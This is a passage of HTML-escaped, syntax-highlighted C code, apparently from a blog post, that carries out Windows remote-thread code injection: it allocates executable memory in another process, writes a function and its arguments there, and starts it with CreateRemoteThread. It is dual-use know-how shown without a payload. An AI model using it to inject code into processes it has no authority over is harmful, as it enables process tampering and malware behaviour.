#000000"&gt;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(Arguments),&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MEM_COMMIT,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PAGE_READWRITE&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;remote_agrument&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;VirtualAllocEx&amp;nbsp;for&amp;nbsp;arguments&amp;nbsp;error.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;tmp[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Remote&amp;nbsp;Arguments'&amp;nbsp;addr:&amp;nbsp;0x%08x\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;(DWORD)remote_agrument&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;将参数写入远程进程内存&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bytes_write;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;WriteProcessMemory(&amp;nbsp;hProcess,&amp;nbsp;(LPVOID)remote_agrument,&amp;nbsp;(LPVOID)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;arguments,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(Arguments),&amp;nbsp;(SIZE_T&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;bytes_write)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;WriteProcessMemory&amp;nbsp;for&amp;nbsp;arguments&amp;nbsp;error.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;在远程进程中分配内存存放代码，可执行权限&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LPVOID&amp;nbsp;remote_func&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;VirtualAllocEx(&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcess,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;REMOTE_FUNC_LENGTH,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MEM_COMMIT,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PAGE_EXECUTE_READWRITE&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;remote_func&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;VirtualAllocEx&amp;nbsp;for&amp;nbsp;function&amp;nbsp;error.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;tmp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(tmp)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Remote&amp;nbsp;Function&amp;nbsp;Address:&amp;nbsp;0x%08x\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;remote_func&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;将代码写入远程进程内存&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;WriteProcessMemory(&amp;nbsp;hProcess,&amp;nbsp;(LPVOID)remote_func,&amp;nbsp;(LPVOID)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;CustomFunction,&amp;nbsp;REMOTE_FUNC_LENGTH,&amp;nbsp;(SIZE_T&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;bytes_write)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;WriteProcessMemory&amp;nbsp;for&amp;nbsp;function&amp;nbsp;error.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;tmp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(tmp)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;WriteProcessMemory&amp;nbsp;for&amp;nbsp;function&amp;nbsp;%d&amp;nbsp;bytes\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;bytes_write&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HANDLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;remote_thread&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;CreateRemoteThread(&amp;nbsp;hProcess,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;(LPTHREAD_START_ROUTINE)remote_func,&amp;nbsp;remote_agrument,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;remote_thread&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;CreateRemoteThread&amp;nbsp;for&amp;nbsp;function&amp;nbsp;error.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;CreateRemoteThread&amp;nbsp;for&amp;nbsp;function&amp;nbsp;ok\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WaitForSingleObject(&amp;nbsp;remote_thread,&amp;nbsp;INFINITE&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&amp;nbsp;NULL&amp;nbsp;!=&amp;nbsp;remote_func&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VirtualFreeEx(&amp;nbsp;hProcess,&amp;nbsp;remote_func,&amp;nbsp;REMOTE_FUNC_LENGTH,&amp;nbsp;MEM_RELEASE&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L"VirtualFreeEx&amp;nbsp;for&amp;nbsp;remote_func.\n"&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#endif&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&amp;nbsp;NULL&amp;nbsp;!=&amp;nbsp;remote_agrument&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nb